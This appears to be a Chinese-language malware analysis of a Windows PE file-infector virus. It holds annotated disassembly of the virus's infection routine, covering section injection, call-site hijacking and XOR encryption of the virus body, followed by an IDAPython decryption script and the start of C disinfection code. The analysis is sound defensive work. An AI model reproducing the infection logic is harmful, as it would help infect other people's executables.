.text:0040218B cmp word ptr [ebp+MZHeader.MZ_signature], 5A4Dh
.text:00402194 jnz @closehandle
.text:0040219A push [ebp+MZHeader.new_hdr_offset]
.text:004021A0 push 0F8h
.text:004021A5 lea eax, [ebp+PEHEADER]
.text:004021AB push eax
.text:004021AC push [ebp+hFile]
.text:004021AF call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:004021AF ; arg_4_outputbuffer= dword ptr 0Ch
.text:004021AF ; arg_8_read_size = dword ptr 10h
.text:004021AF ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:004021B4 test eax, eax
.text:004021B6 jz @closehandle
.text:004021BC cmp dword ptr [ebp+PEHEADER.PE_signature], 4550h
.text:004021C6 jnz @closehandle
.text:004021CC xor ecx, ecx
.text:004021CE xor edx, edx
.text:004021D0 mov [ebp+Section.size_in_file], edx
.text:004021D3 mov ebx, [ebp+MZHeader.new_hdr_offset]
.text:004021D9 add ebx, 0F8h
节的数目不能大于0x10
.text:004021DF movzx ecx, [ebp+PEHEADER.number_of_Sections]
.text:004021E6 cmp ecx, 10h
.text:004021E9 ja @closehandle
判断是否已经被感染
.text:004021EF
.text:004021EF @check_infect_or_not: ; CODE XREF: Infect_EXE_dll+19Dj
.text:004021EF test ecx, ecx
.text:004021F1 jz loc_4022C6
.text:004021F7 push ebx
.text:004021F8 push 28h
.text:004021FA lea eax, [ebp+Section]
.text:00402200 push eax
.text:00402201 push [ebp+hFile]
.text:00402204 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402204 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402204 ; arg_8_read_size = dword ptr 10h
.text:00402204 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:00402209 test eax, eax
.text:0040220B jz @closehandle
.text:00402211 test [ebp+Section.flags], 20000000h
.text:0040221B jz short loc_40223E
.text:0040221D cmp [ebp+Section.size_in_file], 0
.text:00402221 jnz short loc_40223E
.text:00402223 mov eax, [ebp+Section.offset_in_file]
.text:00402229 mov [ebp+Section.offset_in_file], eax
.text:0040222C mov eax, [ebp+Section.size_in_file]
.text:00402232 mov [ebp+Section.size_in_file], eax
.text:00402235 mov eax, [ebp+Section.relative_virtual_address]
.text:0040223B mov [ebp+Section.relative_virtual_address], eax
.text:0040223E
.text:0040223E loc_40223E: ; CODE XREF: Infect_EXE_dll+F7j
.text:0040223E ; Infect_EXE_dll+FDj
.text:0040223E push dword ptr [ebp-2F8h]
.text:00402244 push 64h
.text:00402246 lea eax, [ebp+First_0x64_bytes_of_every_section]
.text:0040224C push eax
.text:0040224D push [ebp+hFile]
.text:00402250 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402250 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402250 ; arg_8_read_size = dword ptr 10h
.text:00402250 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:00402255 test eax, eax
.text:00402257 jz @closehandle
.text:0040225D lea edi, [ebp+First_0x64_bytes_of_every_section]
.text:00402263 mov eax, [edi]
.text:00402265 mov esi, 64h
.text:0040226A
.text:0040226A @decrypt_first_0x50_section: ; CODE XREF: Infect_EXE_dll+152j
.text:0040226A test esi, esi
.text:0040226C jz short @check_infection
.text:0040226E xor [edi], eax
.text:00402270 sub esi, 4
.text:00402273 add edi, 4
.text:00402276 jmp short @decrypt_first_0x50_section
.text:00402278 ; ---------------------------------------------------------------------------
.text:00402278
.text:00402278 @check_infection: ; CODE XREF: Infect_EXE_dll+148j
.text:00402278 cmp dword ptr [ebp+First_0x64_bytes_of_every_section+4], 77582588h
.text:00402282 jnz short loc_4022AB
.text:00402284 mov eax, dword ptr [ebp+First_0x64_bytes_of_every_section+8]
.text:0040228A test eax, 10000h
.text:0040228F jnz @already_infected
.text:00402295 and eax, 0FFFFh
.text:0040229A cmp eax, [ebp+arg_4_patch_call_num]
.text:0040229D jge @already_infected
.text:004022A3 mov [ebp+lase_section_table_end], ebx
.text:004022A6 jmp @patched_call_not_enough
.text:004022AB ; ---------------------------------------------------------------------------
.text:004022AB
.text:004022AB loc_4022AB: ; CODE XREF: Infect_EXE_dll+15Ej
.text:004022AB mov eax, [ebp+Section.relative_virtual_address]
.text:004022B1 add eax, [ebp+Section.virtual_size]
.text:004022B7 cmp eax, edx
.text:004022B9 jbe short loc_4022BD
.text:004022BB mov edx, eax
.text:004022BD
.text:004022BD loc_4022BD: ; CODE XREF: Infect_EXE_dll+195j
.text:004022BD add ebx, 28h
.text:004022C0 dec ecx
.text:004022C1 jmp @check_infect_or_not
.text:004022C6 ; ---------------------------------------------------------------------------
.text:004022C6
.text:004022C6 loc_4022C6: ; CODE XREF: Infect_EXE_dll+CDj
.text:004022C6 mov [ebp+rva_jia_vsize_of_lastsection_image_aligment], edx
.text:004022C9 mov [ebp+lase_section_table_end], ebx
.text:004022CC mov eax, [ebp+PEHEADER.entry_point_RVA]
.text:004022D2 mov [ebp+oep], eax
判断头部是否有足够的空间添加一个节表,并且有空间且空间必须全部为00
.text:004022D5 movzx ecx, [ebp+PEHEADER.number_of_Sections]
.text:004022DC mov eax, 28h
.text:004022E1 mul ecx
.text:004022E3 add eax, 0F8h
.text:004022E8 mov edx, [ebp+PEHEADER.size_of_header]
.text:004022EE sub edx, eax
.text:004022F0 cmp edx, 28h
.text:004022F3 jb @closehandle
.text:004022F9 push [ebp+lase_section_table_end]
.text:004022FC push 28h
.text:004022FE lea eax, [ebp+Section]
.text:00402304 push eax
.text:00402305 push [ebp+hFile]
.text:00402308 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402308 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402308 ; arg_8_read_size = dword ptr 10h
.text:00402308 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:0040230D test eax, eax
.text:0040230F jz @closehandle
.text:00402315 lea eax, [ebp+Section]
.text:0040231B mov ecx, 28h
.text:00402320
.text:00402320 @check_: ; CODE XREF: Infect_EXE_dll+20Bj
.text:00402320 test ecx, ecx
.text:00402322 jz short loc_402331
.text:00402324 cmp byte ptr [eax], 0
.text:00402327 jnz @closehandle
.text:0040232D inc eax
.text:0040232E dec ecx
.text:0040232F jmp short @check_
.text:00402331 ; ---------------------------------------------------------------------------
.text:00402331
.text:00402331 loc_402331: ; CODE XREF: Infect_EXE_dll+1FEj
.text:00402331 push 0 ; lpFileSizeHigh
.text:00402333 push [ebp+hFile] ; hFile
.text:00402336 ; nop code
.text:0040233E ; ---------------------------------------------------------------------------
.text:0040233E call GetFileSize
.text:00402344 cmp eax, 0FFFFFFFFh
.text:00402347 jz @closehandle
.text:0040234D mov [ebp+filesize], eax
.text:00402350 xor edx, edx
.text:00402352 mov eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:00402355 mov ecx, [ebp+PEHEADER.image_alignment]
.text:0040235B div ecx
.text:0040235D test edx, edx
.text:0040235F jz short loc_402366
.text:00402361 sub ecx, edx
.text:00402363 add [ebp+rva_jia_vsize_of_lastsection_image_aligment], ecx
.text:00402366
.text:00402366 loc_402366: ; CODE XREF: Infect_EXE_dll+23Bj
.text:00402366 xor edx, edx
.text:00402368 mov [ebp+filesize_mod_filealigment], edx
.text:0040236B mov eax, [ebp+filesize]
.text:0040236E mov [ebp+filesize_file_aligment], eax
.text:00402371 mov ecx, [ebp+PEHEADER.file_alignment]
.text:00402377 div ecx
.text:00402379 test edx, edx
.text:0040237B jz short loc_402385
.text:0040237D sub ecx, edx
.text:0040237F mov [ebp+filesize_mod_filealigment], ecx
.text:00402382 add [ebp+filesize_file_aligment], ecx
.text:00402385
.text:00402385 loc_402385: ; CODE XREF: Infect_EXE_dll+257j
.text:00402385 jmp short loc_4023F3
.text:00402387 ; ---------------------------------------------------------------------------
.text:00402387
.text:00402387 @patched_call_not_enough: ; CODE XREF: Infect_EXE_dll+182j
.text:00402387 mov edi, 14h
.text:0040238C
.text:0040238C loc_40238C: ; CODE XREF: Infect_EXE_dll+28Fj
.text:0040238C cmp edi, 54h
.text:0040238F jge short loc_4023B5
.text:00402391 mov ecx, dword ptr ss:[edi+ebp+First_0x64_bytes_of_every_section]
.text:00402399 test ecx, ecx
.text:0040239B jz short loc_4023B5
.text:0040239D push ecx
.text:0040239E push 4
.text:004023A0 lea eax, [edi+ebp+First_0x64_bytes_of_every_section+4]
.text:004023A7 push eax
.text:004023A8 push [ebp+hFile]
.text:004023AB call Write_File ; arg_0_hFile = dword ptr 8
.text:004023AB ; arg_4_inputbuffer= dword ptr 0Ch
.text:004023AB ; arg_8_wriesize = dword ptr 10h
.text:004023AB ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:004023B0 add edi, 8
.text:004023B3 jmp short loc_40238C
.text:004023B5 ; ---------------------------------------------------------------------------
.text:004023B5
.text:004023B5 loc_4023B5: ; CODE XREF: Infect_EXE_dll+26Bj
.text:004023B5 ; Infect_EXE_dll+277j
.text:004023B5 mov eax, dword ptr [ebp+First_0x64_bytes_of_every_section+0Ch]
.text:004023BB mov [ebp+oep], eax
.text:004023BE mov [ebp+PEHEADER.entry_point_RVA], eax
.text:004023C4 mov eax, [ebp+Section.relative_virtual_address]
.text:004023CA mov [ebp+rva_jia_vsize_of_lastsection_image_aligment], eax
.text:004023CD mov eax, [ebp+Section.offset_in_file]
.text:004023D3 mov [ebp+filesize_file_aligment], eax
.text:004023D6 mov [ebp+filesize], eax
.text:004023D9 mov [ebp+filesize_mod_filealigment], 0
.text:004023E0 mov eax, [ebp+Section.virtual_size]
.text:004023E6 sub [ebp+PEHEADER.size_of_image], eax
.text:004023EC dec [ebp+PEHEADER.number_of_Sections]
.text:004023F3
.text:004023F3 loc_4023F3: ; CODE XREF: Infect_EXE_dll:loc_402385j
.text:004023F3 xor eax, eax
.text:004023F5 mov [ebp+counter], eax
.text:004023F8 mov eax, [ebp+Section.size_in_file]
.text:004023FB test eax, eax
.text:004023FD jz @closehandle
.text:00402403 cmp eax, 6400000h
.text:00402408 ja @closehandle
.text:0040240E push eax ; dwBytes
.text:0040240F push 0 ; uFlags
.text:00402411 ; nop code
.text:00402419 ; ---------------------------------------------------------------------------
.text:00402419 call GlobalAlloc
.text:0040241F test eax, eax
.text:00402421 jz @closehandle
.text:00402427 mov [ebp+alloc_address1], eax
.text:0040242A push [ebp+Section.offset_in_file]
.text:0040242D push [ebp+Section.size_in_file]
.text:00402430 push [ebp+alloc_address1]
.text:00402433 push [ebp+hFile]
.text:00402436 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402436 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402436 ; arg_8_read_size = dword ptr 10h
.text:00402436 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:0040243B test eax, eax
.text:0040243D jnz short loc_402455
.text:0040243F push [ebp+alloc_address1] ; hMem
.text:00402442 ; nop code
.text:0040244A ; ---------------------------------------------------------------------------
.text:0040244A call GlobalFree
.text:00402450 jmp @closehandle
.text:00402455 ; ---------------------------------------------------------------------------
.text:00402455
.text:00402455 loc_402455: ; CODE XREF: Infect_EXE_dll+319j
.text:00402455 mov ecx, [ebp+Section.size_in_file]
.text:00402458 mov esi, [ebp+alloc_address1]
.text:0040245B mov [ebp+Section.size_in_file_chuyi_6], 6
.text:00402462 xor edx, edx
.text:00402464 mov eax, ecx
.text:00402466 div [ebp+Section.size_in_file_chuyi_6]
.text:00402469 mov [ebp+Section.size_in_file_chuyi_6], eax
从第一个节的开始搜索call指令,然后判断call指令的目的地址的指令是否是
push reg 或者mov edi,edi 或者sub ebp,xxx
如果满足条件的,则记录下call的相关信息,在下一个块内搜索,否则继续从下一个byte搜索
程序一共搜索了6个call 对有些程序可能不一定能够搜到6个call。
相关结构:
struct patch_call_info
{
+0 dword found_call_dest_address_rva call的目的地址的rva
+4 dword patched_call_fileoffset_jia_1 要patch的call的地址+1的文件偏移 43c
+8 dword patched_call_dword 要patch call的e8后面的dword
+c dword found_call_offset 要patchcall的后面的偏移 0xa33f8
}
.text:0040246C
.text:0040246C @found_patch_call: ; CODE XREF: Infect_EXE_dll+3FBj
.text:0040246C ; Infect_EXE_dll+402j
.text:0040246C cmp ecx, 0Ah
.text:0040246F jbe loc_40252B
.text:00402475 cmp byte ptr [esi], 0E8h
.text:00402478 jnz @not
.text:0040247E mov eax, esi
.text:00402480 sub eax, [ebp+alloc_address1]
.text:00402483 add eax, 5
.text:00402486 mov ebx, eax
.text:00402488 add eax, [esi+1]
.text:0040248B mov edx, [ebp+Section.size_in_file]
.text:0040248E sub edx, 4
.text:00402491 cmp eax, edx
.text:00402493 jnb @not
.text:00402499 add eax, [ebp+alloc_address1]
.text:0040249C mov edx, [eax]
.text:0040249E and edx, 0F8h
.text:004024A4 cmp edx, 50h
.text:004024A7 jz short @found
.text:004024A9 cmp word ptr [eax], 0EC83h
.text:004024AE jz short @found
.text:004024B0 cmp word ptr [eax], 0FF8Bh
.text:004024B4 jnz short @not
.text:004024B6
.text:004024B6 @found: ; CODE XREF: Infect_EXE_dll+383j
.text:004024B6 ; Infect_EXE_dll+38Aj
.text:004024B6 mov edi, [ebp+counter]
.text:004024B9 shl edi, 4
.text:004024BC sub eax, [ebp+alloc_address1]
.text:004024BF add eax, [ebp+Section.relative_virtual_address]
.text:004024C2 mov ss:[edi+ebp+patch_call_info.found_call_dest_address_rva], eax
.text:004024CA mov eax, ebx
.text:004024CC sub eax, 4
.text:004024CF add eax, [ebp+Section.offset_in_file]
.text:004024D2 mov ss:[edi+ebp+patch_call_info.patched_call_fileoffset_jia_1], eax
.text:004024DA mov eax, [ebp+counter]
.text:004024DD mov edx, 0Ah
.text:004024E2 mul edx
.text:004024E4 add eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004024E7 add eax, 5EE3h
.text:004024EC add ebx, [ebp+Section.relative_virtual_address]
.text:004024EF sub eax, ebx
.text:004024F1 mov ss:[edi+ebp+patch_call_info.patched_call_dword], eax
.text:004024F9 mov eax, [esi+1]
.text:004024FC mov ss:[edi+ebp+patch_call_info.found_call_offset], eax
.text:00402504 inc [ebp+counter]
.text:00402507 cmp [ebp+counter], 6
.text:0040250B jz short loc_40252B
.text:0040250D mov eax, [ebp+counter]
.text:00402510 mov edx, [ebp+Section.size_in_file_chuyi_6]
.text:00402513 mul edx
.text:00402515 mov ecx, [ebp+Section.size_in_file]
.text:00402518 sub ecx, eax
.text:0040251A mov esi, [ebp+alloc_address1]
.text:0040251D add esi, eax
.text:0040251F jmp @found_patch_call
.text:00402524 ; ---------------------------------------------------------------------------
.text:00402524
.text:00402524 @not: ; CODE XREF: Infect_EXE_dll+354j
.text:00402524 ; Infect_EXE_dll+36Fj ...
.text:00402524 dec ecx
.text:00402525 inc esi
.text:00402526 jmp @found_patch_call
.text:0040252B ; ---------------------------------------------------------------------------
.text:0040252B
.text:0040252B loc_40252B: ; CODE XREF: Infect_EXE_dll+34Bj
.text:0040252B ; Infect_EXE_dll+3E7j
.text:0040252B push [ebp+alloc_address1] ; hMem
.text:0040252E ; nop code
.text:00402536 ; ---------------------------------------------------------------------------
.text:00402536 call GlobalFree
.text:0040253C cmp [ebp+counter], 0
.text:00402540 jz @closehandle
.text:00402546 xor edx, edx
.text:00402548 mov eax, 960Ah
.text:0040254D mov [ebp+sizeof_added_section_960a_file_aligment], eax
.text:00402550 mov ecx, [ebp+PEHEADER.file_alignment]
.text:00402556 div ecx
.text:00402558 test edx, edx
.text:0040255A jz short loc_402561
.text:0040255C sub ecx, edx
.text:0040255E add [ebp+sizeof_added_section_960a_file_aligment], ecx
.text:00402561
.text:00402561 loc_402561: ; CODE XREF: Infect_EXE_dll+436j
.text:00402561 xor edx, edx
更新pe头
.text:00402563 mov [ebp+sizeof_added_section_960a_image_aligment], 960Ah
.text:0040256A mov eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:0040256D mov ecx, [ebp+PEHEADER.image_alignment]
.text:00402573 div ecx
.text:00402575 test edx, edx
.text:00402577 jz short loc_40257E
.text:00402579 sub ecx, edx
.text:0040257B add [ebp+sizeof_added_section_960a_image_aligment], ecx
.text:0040257E
.text:0040257E loc_40257E: ; CODE XREF: Infect_EXE_dll+453j
.text:0040257E inc [ebp+PEHEADER.number_of_Sections]
.text:00402585 mov [ebp+PEHEADER.bound_import_table_RVA], 0
.text:0040258F mov eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:00402592 add [ebp+PEHEADER.size_of_image], eax
.text:00402598 push [ebp+MZHeader.new_hdr_offset]
.text:0040259E push 0F8h
.text:004025A3 lea eax, [ebp+PEHEADER]
.text:004025A9 push eax
.text:004025AA push [ebp+hFile]
.text:004025AD call Write_File ; arg_0_hFile = dword ptr 8
.text:004025AD ; arg_4_inputbuffer= dword ptr 0Ch
.text:004025AD ; arg_8_wriesize = dword ptr 10h
.text:004025AD ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
跟新添加节的节表
.text:004025B2 mov eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004025B5 mov [ebp+Section.relative_virtual_address], eax
.text:004025BB mov eax, [ebp+filesize_file_aligment]
.text:004025BE mov [ebp+Section.offset_in_file], eax
.text:004025C4 mov eax, [ebp+sizeof_added_section_960a_file_aligment]
.text:004025C7 mov [ebp+Section.size_in_file], eax
.text:004025CD mov eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:004025D0 mov [ebp+Section.virtual_size], eax
.text:004025D6 mov [ebp+Section.flags], 0E00000E0h
.text:004025E0 mov dword ptr [ebp+Section.name], 7273722Eh
.text:004025EA mov dword ptr [ebp+Section.name+4], 63h
.text:004025F4 push [ebp+lase_section_table_end]
.text:004025F7 push 28h
.text:004025F9 lea eax, [ebp+Section]
.text:004025FF push eax
.text:00402600 push [ebp+hFile]
.text:00402603 call Write_File ; arg_0_hFile = dword ptr 8
.text:00402603 ; arg_4_inputbuffer= dword ptr 0Ch
.text:00402603 ; arg_8_wriesize = dword ptr 10h
.text:00402603 ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:00402608 mov ecx, [ebp+counter]
.text:0040260B xor edx, edx
修改第一个节的call的目的地址跳向添加节
.text:0040260D
.text:0040260D @patch_call_to_jmp_added_section: ; CODE XREF: Infect_EXE_dll+50Ej
.text:0040260D test ecx, ecx
.text:0040260F jz short loc_402634
.text:00402611 mov esi, edx
.text:00402613 shl esi, 4
.text:00402616 push ss:[esi+ebp+patch_call_info.patched_call_fileoffset_jia_1]
.text:0040261E push 4
.text:00402620 lea eax, [esi+ebp+patch_call_info.patched_call_dword]
.text:00402627 push eax
.text:00402628 push [ebp+hFile]
.text:0040262B call Write_File ; arg_0_hFile = dword ptr 8
.text:0040262B ; arg_4_inputbuffer= dword ptr 0Ch
.text:0040262B ; arg_8_wriesize = dword ptr 10h
.text:0040262B ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:00402630 dec ecx
.text:00402631 inc edx
.text:00402632 jmp short @patch_call_to_jmp_added_section
.text:00402634 ; ---------------------------------------------------------------------------
.text:00402634
.text:00402634 loc_402634: ; CODE XREF: Infect_EXE_dll+4EBj
.text:00402634 mov eax, [ebp+sizeof_added_section_960a_file_aligment]
.text:00402637 add eax, [ebp+filesize_mod_filealigment]
.text:0040263A mov [ebp+sizeof_alloc_address2], eax
.text:0040263D push eax ; dwBytes
.text:0040263E push 40h ; uFlags
.text:00402640 ; nop code
.text:00402648 ; ---------------------------------------------------------------------------
拷贝病毒体 并记录一些重要信息到添加节的开始处
.text:00402648 call GlobalAlloc
.text:0040264E test eax, eax
.text:00402650 jz @closehandle
.text:00402656 mov [ebp+alloc_address2], eax
.text:00402659 mov ecx, 960Ah
.text:0040265E mov edi, [ebp+alloc_address2]
.text:00402661 add edi, [ebp+filesize_mod_filealigment]
.text:00402664 ; nop code
.text:0040266B mov esi, offset dword_401000
.text:00402670 rep movsb ; 00401000 +filesize_mod_filealigment-> alloc_address2 +filesize_mod_filealigment 0x960a bytes
.text:00402672 mov ebx, [ebp+alloc_address2]
.text:00402675 add ebx, [ebp+filesize_mod_filealigment]
.text:00402678 mov edi, 77582588h
.text:0040267D mov [ebx+4], edi
.text:00402680 mov edi, [ebp+arg_4_patch_call_num]
.text:00402683 mov [ebx+8], edi
.text:00402686 mov eax, [ebp+oep]
.text:00402689 mov [ebx+0Ch], eax
.text:0040268C mov edi, ebx
.text:0040268E add edi, 5EDFh
.text:00402694 mov dword ptr [edi], 0
.text:0040269A xor edx, edx
修改添加节的代码使其跳向原始的代码
.text:0040269C
.text:0040269C @patch_call_in_addedsection_jmp_original_place:
.text:0040269C ; CODE XREF: Infect_EXE_dll+5CCj
.text:0040269C cmp edx, [ebp+counter]
.text:0040269F jz short loc_4026F2
.text:004026A1 mov esi, edx
.text:004026A3 shl esi, 4 ; esi = counter << 4
.text:004026A6 mov ecx, ss:[esi+ebp+patch_call_info.found_call_dest_address_rva]
.text:004026AE mov eax, 0Ah
.text:004026B3 mul dl
.text:004026B5 add eax, 5EE3h
.text:004026BA mov edi, eax
.text:004026BC add edi, 6 ; edi = counter * 0x0a + 5ee3 + 6
.text:004026BF add eax, 0Ah ; eax =(counter +1)* 0xa + 5ee3
.text:004026C2 add eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004026C5 sub ecx, eax
.text:004026C7 add edi, ebx
.text:004026C9 mov [edi], ecx
.text:004026CB mov edi, edx
.text:004026CD shl edi, 3
.text:004026D0 add edi, 14h
.text:004026D3 add edi, ebx
.text:004026D5 mov eax, ss:[esi+ebp+patch_call_info.patched_call_fileoffset_jia_1]
.text:004026DD mov [edi], eax
.text:004026DF mov eax, ss:[esi+ebp+patch_call_info.found_call_offset]
.text:004026E7 mov [edi+4], eax
.text:004026EA xor eax, eax
.text:004026EC mov [edi+8], eax
.text:004026EF inc edx
.text:004026F0 jmp short @patch_call_in_addedsection_jmp_original_place
.text:004026F2 ; nop code
.text:004026FA ; ---------------------------------------------------------------------------
对病毒体进行加密
.text:004026FA call GetTickCount
.text:00402700 mov ebx, [ebp+alloc_address2]
.text:00402703 add ebx, [ebp+filesize_mod_filealigment]
.text:00402706 mov dword ptr [ebx], 0
.text:0040270C mov ecx, 6106h
.text:00402711
.text:00402711 @encrypt: ; CODE XREF: Infect_EXE_dll+60Aj
.text:00402711 cmp ecx, 4
.text:00402714 jb short loc_402730
.text:00402716 cmp ecx, 22Bh
.text:0040271C jnb short loc_402726
.text:0040271E cmp ecx, 192h
.text:00402724 ja short loc_402728
.text:00402726
.text:00402726 loc_402726: ; CODE XREF: Infect_EXE_dll+5F8j
.text:00402726 xor [ebx], eax
.text:00402728
.text:00402728 loc_402728: ; CODE XREF: Infect_EXE_dll+600j
.text:00402728 add ebx, 4
.text:0040272B sub ecx, 4
.text:0040272E jmp short @encrypt
.text:00402730 ; ---------------------------------------------------------------------------
写入最后一个节的数据
.text:00402730
.text:00402730 loc_402730: ; CODE XREF: Infect_EXE_dll+5F0j
.text:00402730 push [ebp+filesize]
.text:00402733 push [ebp+sizeof_alloc_address2]
.text:00402736 push [ebp+alloc_address2]
.text:00402739 push [ebp+hFile]
.text:0040273C call Write_File ; arg_0_hFile = dword ptr 8
.text:0040273C ; arg_4_inputbuffer= dword ptr 0Ch
.text:0040273C ; arg_8_wriesize = dword ptr 10h
.text:0040273C ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:00402741 push [ebp+alloc_address2]
.text:00402744 ; nop code
.text:0040274C ; ---------------------------------------------------------------------------
.text:0040274C call GlobalFree
.text:00402752
.text:00402752 @already_infected: ; CODE XREF: Infect_EXE_dll+16Bj
.text:00402752 ; Infect_EXE_dll+179j
.text:00402752 mov [ebp+is_infected], 1
.text:00402759
.text:00402759 @closehandle: ; CODE XREF: Infect_EXE_dll+61j
.text:00402759 ; Infect_EXE_dll+70j ...
.text:00402759 push [ebp+hFile]
.text:0040275C ; nop code
.text:00402764 ; ---------------------------------------------------------------------------
.text:00402764 call CloseHandle
.text:0040276A
.text:0040276A @fail: ; CODE XREF: Infect_EXE_dll+43j
.text:0040276A mov eax, [ebp+is_infected]
.text:0040276D pop ebx
.text:0040276E pop edx
.text:0040276F pop ecx
.text:00402770 pop edi
.text:00402771 pop esi
.text:00402772 leave
.text:00402773 retn 8
.text:00402773 Infect_EXE_dll endp
一个感染例子
比如:.text: 6B2410E1 89 5C 24 04 mov [esp +38h +var_34], ebx
.text: 6B2410E5 89 34 24 mov [esp +38h +var_38], esi
.text: 6B2410E8 E8 F6 AD 09 00 call Patch_call 被patch的call
.text: 6B2410ED 83 EC 0C sub esp , 0Ch
.text: 6B2410F0 85 DB test ebx , ebx
目的地址:
.rsrc: 6B2DBEE3 Patch_call proc near
.rsrc: 6B2DBEE3 E8 37 00 00 00 call loc_6B2DBF1F 执行恶意代码
.rsrc: 6B2DBEE8 E9 83 03 FD FF jmp sub_6B2AC270 跳回原来的call 的目的地址
.rsrc: 6B2DBEE8 Patch_call endp
.rsrc: 6B2DBEE8
调试程序的时候发现它会抽取call的信息到,添加节的开始处,不过是加密的,解密很简单,加密代码如下:def decrypt_infected (startva = 0 x6b2d6000):
eax = Dword (startva)
if eax == 0 :
return
counter = 0 x6106
while True:
if counter < 4 :
break
if (counter > 0 x192) and (counter<0 x22b):
startva = startva + 4
counter = counter -4
else:
dword_value = Dword (startva)
dword_value = dword_value ^ eax
PatchDword (startva,dword_value)
startva = startva + 4
counter = counter -4
def decrypt_main_exe (startva = 0 x401000):
eax = Dword (startva)
#alreay decrypted?
if eax ==0 :
return
counter = 0 x6106
while True:
if counter < 4 :
break
if (counter > 0 x13c) and (counter<0 x182):
startva = startva + 4
counter = counter -4
else:
dword_value = Dword (startva)
dword_value = dword_value ^ eax
PatchDword (startva,dword_value)
startva = startva + 4
counter = counter -4
def make_dwords (startva):
MakeUnknown (startva,0 x14+0 x6*0 xa,0 )
MakeDword (startva)
MakeDword (startva + 4 )
MakeDword (startva + 8 )
MakeDword (startva + 0 xc)
MakeDword (startva + 0 x10)
i = 0
curva = startva + 0 x14
while Dword (curva) != 0 :
#for i in range (6 ):
str = "patch_call_info_%02x" % i
MakeDword (curva)
MakeDword (curva + 4 )
MakeName (curva ,str)
curva = curva + 8
i = i + 1
if i > 6 :
break
MakeDword (curva)
MakeName (curva,"end" )
if __name__ == "__main__" :
print "start to decode"
segs = Segments ()
last = 0
for seg in segs:
#print "0x%x" % seg
last = seg
lastSegStart = SegStart (last)
lastSegEnd = SegEnd (last)
#print "lastSegStart %08x,lastSegEnd %08x" % (lastSegStart,lastSegEnd)
decrypt_infected (lastSegStart)
make_dwords (lastSegStart)
print "finishe"
以一个被感染的样本为例, 脚本运行之后病毒添加节开始:
.rsrc:1E1DD000 00 00 00 00 dd 0
.rsrc:1E1DD004 88 25 58 77 dd 77582588h 解密的key
.rsrc:1E1DD008 06 00 00 00 dd 6 patch_call_num的最大值
.rsrc:1E1DD00C A0 59 00 00 dd 59A0h oep rva
.rsrc:1E1DD010 00 00 00 00 dd 0
.rsrc:1E1DD014 6B 11 00 00 patch_call_info_00 dd 116Bh
.rsrc:1E1DD018 31 FF FF FF dd 0FFFFFF31h
.rsrc:1E1DD01C E3 1D 00 00 patch_call_info_01 dd 1DE3h
.rsrc:1E1DD020 79 3A 00 00 dd 3A79h
.rsrc:1E1DD024 AD 2B 00 00 patch_call_info_02 dd 2BADh
.rsrc:1E1DD028 BF F8 FF FF dd 0FFFFF8BFh
.rsrc:1E1DD02C 88 38 00 00 patch_call_info_03 dd 3888h
.rsrc:1E1DD030 D4 1F 00 00 dd 1FD4h
.rsrc:1E1DD034 94 49 00 00 patch_call_info_04 dd 4994h
.rsrc:1E1DD038 88 D3 FF FF dd 0FFFFD388h
.rsrc:1E1DD03C 00 00 00 00 end dd 0
struct patch_call_info
{
+0 dword 修改call的文件偏移+1
+4 dword 原来的call 即e8后面的offset
}
这样我们就可以写程序修复了,很久都没有写程序了,大部分时间都花在调试程序上了,这里只列出一些关键部分函数,其他看附件:
判断程序是否被感染:bool IsInfecterByPriter (char * szFileName)
{
bool bReturn = FALSE;
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwRead = 0 ;
DWORD dwOffset = 0 ;
DWORD dwKey = 0 ;
DWORD dwTemp = 0 ;
DWORD dwImageSize = 0 ;
DWORD dwHeadSize = 0 ;
LPBYTE MapOfFile = 0 ;
DWORD dwFileSize = 0 ;
DWORD i = 0 ;
IMAGE_NT_HEADERS32* PE;
IMAGE_SECTION_HEADER* SH;
PDWORD LastSection;
hFile = CreateFile (szFileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
goto Exit0;
SetFilePointer (hFile, 0 , NULL, FILE_BEGIN);
ReadFile (hFile, &dwTemp, 2 , &dwRead, NULL);
if ('ZM ' != dwTemp)
goto Exit0;
SetFilePointer (hFile, 0x3C , NULL, FILE_BEGIN);
ReadFile (hFile, &dwOffset, 4 , &dwRead, NULL);
dwTemp = 0 ;
SetFilePointer (hFile, dwOffset, NULL, FILE_BEGIN);
ReadFile (hFile, &dwTemp, 2 , &dwRead, NULL);
if ('EP ' != dwTemp)
goto Exit0;
dwFileSize = GetFileSize (hFile,NULL);
if (dwFileSize == 0xFFFFFFFF )
goto Exit0;
if (0x960a >= dwFileSize)
goto Exit0;
SetFilePointer (hFile, 0x3C , NULL, FILE_BEGIN);
ReadFile (hFile, &dwOffset, 4 , &dwRead, NULL);
SetFilePointer (hFile, dwOffset + 0x50 , NULL, FILE_BEGIN);
ReadFile (hFile, &dwImageSize, 4 , &dwRead, NULL);
SetFilePointer (hFile, dwOffset + 0x54 , NULL, FILE_BEGIN);
